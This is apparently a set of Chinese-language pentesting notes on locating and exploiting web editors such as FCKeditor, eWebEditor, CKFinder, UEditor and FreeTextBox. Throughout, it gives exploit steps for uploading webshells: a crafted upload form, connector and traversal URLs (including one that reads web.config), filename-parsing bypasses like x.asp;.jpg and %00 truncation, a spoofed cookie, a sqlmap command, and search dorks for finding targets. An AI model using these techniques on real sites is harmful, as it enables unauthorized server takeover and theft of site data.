查找编辑器目录

- 目录扫描

  御剑可能会直接扫出来如：`editor、edit、fckeditor、ewebeditor`等目录

- 目录遍历

  很多网站的编辑器，不会直接放在根目录下，而是在管理员目录下，因此可以进行一些递归扫描。
  如御剑扫到了admin目录，然后对admin目录进行遍历扫描可能会有意想不到的收获

  `upload.asp、upfile.asp、up.html、upimg.htm`这些是上传文件

- 蜘蛛爬行

  一般用爬行菜刀、awvs、burpsuite
  可能会爬到图片上传目录、admin以及编辑器关键词
  上传目录可以用来分析网站的编辑器
  如：eweb的上传目录为/uploadfile/20123452156.jpg

- 也可以用google搜索

  `site：xxx.com inurl:editor`

漏洞利用

- 百度相关编辑器漏洞利用

FCKeditor编辑器

- FCKeditor编辑器页
  `FCKeditor/_samples/default.html`
- 查看编辑器版本
  `FCKeditor/_whatsnew.html`
- 查看文件上传路径

```
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
```

怎么找到地址?

通过工具扫描目录或者网上找上传的地址

查看上传目录

- XML页面中第二行"url=/xxx"的部分就是默认基准上传路径
  FCKeditror被动限制策略所导致的过滤不严问题
  影响版本:FCKeditor x.x <= FCKeditor v2.4.3

脆弱性描述

- FCKeditor v2.4.3中File类别默认拒绝上传类型

```
html|htm| php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|
cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
```

- Fckeditor 2.0 <=2.2 允许上传`asa、cer、php2、php4、inc、pwnl、pht`后缀的文件
  上传后 它保存的文件直接用的`$sFilePath =$sServerDir.$sFileName`,而没有使用`$sExtension`为后缀，直接导致在win下在上传文件后面加个`.`来突破
- 而在apache下，因为`"Apache文件名解析缺陷漏洞”`也可以利用

漏洞版本

- windows有任意文件上传漏洞如`x.asp;.jpg`
- Apache+linux环境下在上传文件后面加个.突破!测试通过

Version <=2.4.2 For php

- 在处理PHP在上传的地方并未对media类型进行进行上传文件类型的控制,导致用户上传任意文件!
  将以下保存为html文件，修改action地址

```
<form id="fmUpload" enctype="multipart/form-data"

action="http://www.site.com/FCKeditor/editor?filemanage/upload/php/upload.php?
Type=Media" method="post">Upload a new file:<br>

<input type="file" name ="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>
```

FCKeditor 文件上传“.”变“_”下划线的绕过方法

- 很多时候上传的文件例如: shell.php.rar 或者shell.php;.jpg会变为shell_php;.jpg这是新版FCK的变化
- 提交shell.php+空格绕过
  不过空格只支持win系统*nix是不支持的[shell.php 和shell.php+空格是2个不同的文件 未测试
- 继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录，如果跳到二级目录就不受限制

突破建立文件夹

```
FCKeditor_2.5/editor/filemanager/connectors/asp/connector.aspCommand=Createfolde
r&Type=Image&Currentfolder=/xx.asp&NewFoldername=x.asp
```

FCKeditor中test文件的上传地址

```
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
```

绕过asp;.jpg变asp_jpg

- 使用特殊名称绕过
  `a.aspx.a;.a.aspx.jpg..jpg.aspx`
  `xx.asp.;.jpg`

EWEbeditor

1.先找后台

- 因为ewebeditor有独立的后台，一般在ewebeditor目录下，可以进到登录样式的界面（`ewebeditor/admin_style.asp`），然后由于没有登录所以就会自动跳转到登录界面，

2、进后台

- 通过弱口令

  burp抓包爆破
  利用注入点得到密码
- 如果没有后台

  利用目录遍历漏洞，找网站数据库位置下载网站数据库，登录网站后台拿shell

  下载默认数据库　ewebeditor/db/ewebeditor.mdb得到账号密码

  利用exp进行构造上传

  构造上传，如果这个站之前被人搞过，数据库可能会留下上传样式(ewebeditor_style)或者允许上传的类型，这时候就可以上传允许的脚本来进行上传

  如找到

ewebeditor存在的注入点，可以直接放到sqlmap中跑注入点

```
sqlmap.py -u "xxx.com/ewebeditor/ewebeditor.asp?
id=article_content&style=full_v200"
```

2.修改上传类型

3.如果不让修改上传类型就自己添加上传样式，然后添加上传按钮——上传

如果整个网站只有只读的权限，只能从旁站入手，否则就只能放弃

CKFinder

这个编辑器需要配合IIS6.0的解析漏洞利用，且只有目录解析漏洞

- 其1.4.3 asp.net版本存在任意文件上传漏洞，攻击者可以利用该漏洞上传任意文件，CKFinder在上传文件的时候，强制将文件名(不包括后缀)中点号等其他字符转为下划线_,但是在修改文件名时却没有任何限制，从而导致可以上传`1_php;1.jpg`等畸形文件名，最终导致文件上传漏洞
- 然后修改文件名
  `1_php;1.jpg`
  利用iis6.0目录解析漏洞拿shell
- 创建目录/x.asp/
  在目录下上传图片马即可拿shell

南方数据编辑器southidceditor

- 首先登陆后台，利用编辑器上传

  访问`admin/southidceditor/admin_style.asp`

  修改编辑器样式，增加asa(不要asp).然后直接后台编辑新闻上传

- 通过ipfile_other.asp漏洞文件直接取shell

  直接打开userreg.asp进行注册会员，进行登录，（在未退出的情况下）可以使用双文件上传

  这个方法通杀南方数据、良精系统、网软天下等

- 在Upfile_photo.asp文件中

  只限制了对`asp、asa、aspx`类的文件上传，我们只要在"网站配置"的允许的上传文件类型处增加上传`cer`等被服务器可解析的文件类型就可

UEDITOR

这种编辑器的命名方式是：{time}{rang}.jpg

可以利用解析漏洞：a.asp;.{time}{rang}.jpg

或者用00截断：a.asp%00;.{time}{rang}.jpg 生成一个a.asp

- 利用ii6.0文件名解析漏洞
  上传图片改名为
  x.php;20221.jpg获取shell

DotNetTextBox编辑器漏洞

关键字:system_dntb/

- 确定有system_dntb/uploadimg.aspx并能打开，这时候是不能上传的，由于他是验证cookie来得出上传后的路径，这样我们可以用cookie欺骗工具

```
cookie:UserType=0;IsEdition=0;Info=1;
uploadFolder=../system_dntb/Upload/;
```

- 路径可以修改，只要权限够，上传后改名为1.asp;.jpg利用iis解析漏洞

PHPWEB网站管理系统后台Kedit编辑器

两种利用方式

- 第一种是利用iis6.0文件名解析漏洞
  xx.php;xx.jpg
- 第二种方式
  %00截断，但高版本就不行了，因为这个编辑器底层用的就是fck
  xx.php%00jpg

Cute Editor 在线编辑器

可以利用本地包含漏洞

影响版本：

- Cute Editor For Net 6.4

脆弱描述

- 可以随意查看网站文件内容，危害较大
  攻击利用

```
http://www.xx.com/Cute_Client?CuteEditor/Load.ashx?
type=image&file=../../../web.config
```

Cute Editor ASP.net版

可以利用IIS解析漏洞获得权限

影响版本：

- Cute Editor for ASP.NET中文版

脆弱描述：

- Cute Editor 对上传文件名未重命名，导致其可利用IIS文件名解析BUG获得webshell权限

攻击利用：

- 可通过在搜索引擎中键入关键词 `inurl:Post.aspx?SmallClassID=` 来找到测试目标
- 在编辑器中点击“多媒体插入”，上传一个名为“aaa.asp;.avi”的网马，以此获得权限

webhtmleditor

- 利用win2003 IIs文件名称解析漏洞获得shell

对上传的图片或娶她摁键无重命名操作，导致允许恶意用户上传 `diy.asp;.jpg` 来绕过对后缀名审查的限制，对于此类因编辑器作者意识犯下的错误，就算遭遇缩略图、文件头检测，也可以使用 `图片马` 来突破

kindeditor

- 利用win2003 IIs文件名称解析漏洞获得shell

> 影响版本:<=kindeditor 3.2.1(09年8月份发布的最新版)
>
> 攻击利用：

> upload/2010/3/201231254.jpg

`xx.asp;x.jpg`

Freetextbox

Freetextbox遍历目录漏洞

脆弱描述：

- 因为ftb.imagegallery.aspx代码中只过滤了`/`但是没有过滤`\`符号，所以导致出现了遍历目录的问题

攻击利用：

- 在编辑器页面点图片会弹出一个框(抓包得到此地址)

  构造如下，可遍历目录

```
http://xxx.com/Member/images/ftb/HelperScripts/ftb.imagegallery.aspx?
frame=1&rif=..&cif=\..
```

Freetextbox Asp,Net版利用IIS解析漏洞获得权限

脆弱描述：

- 没做登陆验证可以直接访问上传木马

  Freetextbox 3-3-1 可以直接上传任意格式的文件

  Freetextbox 1.6.3 及其他版本可以上传 格式为：x.asp;.jpg

攻击利用：

- 利用IIS解析漏洞拿shell，上传后shell的路径为

  `http://xx.com/images/x.asp;.jpg`

等等编辑器漏洞，其余特殊编辑器漏洞，需要时可自行百度查找他们的漏洞

总结

编辑器基本都是靠解析漏洞进行突破的

找到编辑器，查看编辑器的版本，然后百度查找他们的漏洞进行利用

如果找不到就自己抓包改包去探测，绕过和利用

所以看到编辑器，就要想办法和解析漏洞联系到一块